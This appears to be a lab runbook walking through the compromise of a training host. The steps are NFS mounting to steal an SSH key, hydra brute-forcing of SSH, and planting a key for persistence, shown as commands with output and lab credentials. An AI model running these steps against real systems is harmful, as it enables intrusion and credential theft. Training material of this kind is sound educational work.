Runbook: unseen-gate¶
Starting state¶
Someone seems to have been here before. He/she left notes. See ~/README. Apparently another student who was learning
“adversarial moves”. There is a loot directory with a file ~/loot/prior-recon.txt.
cat ~/README
cat ~/loot/prior-recon.txt
The prior-recon file shows wizzards-retreat at 10.10.0.10 with three ports noted:
22, 111, and 2049.
Orientation¶
id
hostname
ip addr
ip route
ss -tulpn
sudo -l
ls -la ~
cat ~/.bash_history
ip addr shows a single NIC at 10.10.0.5. ip route shows one attached route to
10.10.0.0/24 and a default via 10.10.0.200. That appears to be all that is directly
reachable from here.
ss -tulpn shows SSH on port 22 and rpcbind on 111. The rpcbind daemon is running to
support NFSv3 client mounts.
sudo -l returns passwordless mount and umount. That could be useful if the NFS
service listed in the prior-recon turns out to be worth exploring.
~/.bash_history has the archaeology from whoever was here before: nmap, a showmount,
an SSH attempt to rincewind@10.10.0.10, and a mount of the NFS share. The prior-recon
file appears to be the cleaned-up result of that activity. Not everything they tried seems
to have worked.
Network recon¶
nmap -sV 10.10.0.10
Starting Nmap 7.93 ( https://nmap.org ) at 2026-05-22 18:49 UTC
Nmap scan report for 10.10.0.10
Host is up (0.000067s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u10 (protocol 2.0)
80/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs 3 (RPC #100003)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.29 seconds
showmount -e 10.10.0.10
Export list for 10.10.0.10:
/work *
Exported to *. No client restriction visible. Anyone on the segment can apparently mount it.
Compromise wizzards-retreat¶
Two independent paths.
NFS credential theft¶
Accounts on unseen-gate have passwordless sudo for mount and umount; no privilege
escalation required.
mkdir -p /tmp/nfs
sudo mount -t nfs -o vers=3 10.10.0.10:/work /tmp/nfs
find /tmp/nfs -maxdepth 2 -type f
cat /tmp/nfs/notes.txt
Two files. A notes file listing what look like internal addresses, some URLs, and a VPN
reminder. And a private SSH key: rincewind_id_ed25519. If it is still authorised on the
remote host, it likely opens a session without the password.
cp /tmp/nfs/rincewind_id_ed25519 ~/.ssh/
chmod 600 ~/.ssh/rincewind_id_ed25519
ssh -i ~/.ssh/rincewind_id_ed25519 rincewind@10.10.0.10
No password prompt.
Once in, add an attacker-controlled public key to rincewind’s authorized_keys for
persistent access that survives key rotation:
ssh -i ~/.ssh/rincewind_id_ed25519 rincewind@10.10.0.10 \
"echo '$(cat ~/.ssh/authorized_keys | head -1)' >> ~/.ssh/authorized_keys"
SSH password brute force¶
bash_history shows a prior SSH attempt to rincewind@10.10.0.10, giving the account name. The wordlist is already on the machine.
hydra -l rincewind -P /usr/share/wordlists/rockyou.txt ssh://10.10.0.10
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-22 18:52:33
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 28 login tries (l:1/p:28), ~2 tries per task
[DATA] attacking ssh://10.10.0.10:22/
[22][ssh] host: 10.10.0.10 login: rincewind password: wizzard
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-22 18:52:35
Hydra works through the list and returns a hit.
ssh rincewind@10.10.0.10
The password turns out to be wizzard.
What you can know now¶
Access:
SSH to wizzards-retreat as
rincewindat 10.10.0.10 (key and password both work)
From notes.txt (NFS mount):
Engineering workstation: 10.10.2.30
Historian web: 10.10.2.10:8080
SCADA web: 10.10.2.20:8080, credential admin/admin
Legacy system: 10.10.1.10, FTP anonymous and SMB open
DMZ gateway: sorting-office (old gateway password not yet known)
Credentials:
rincewind / wizzard (SSH password, wizzards-retreat)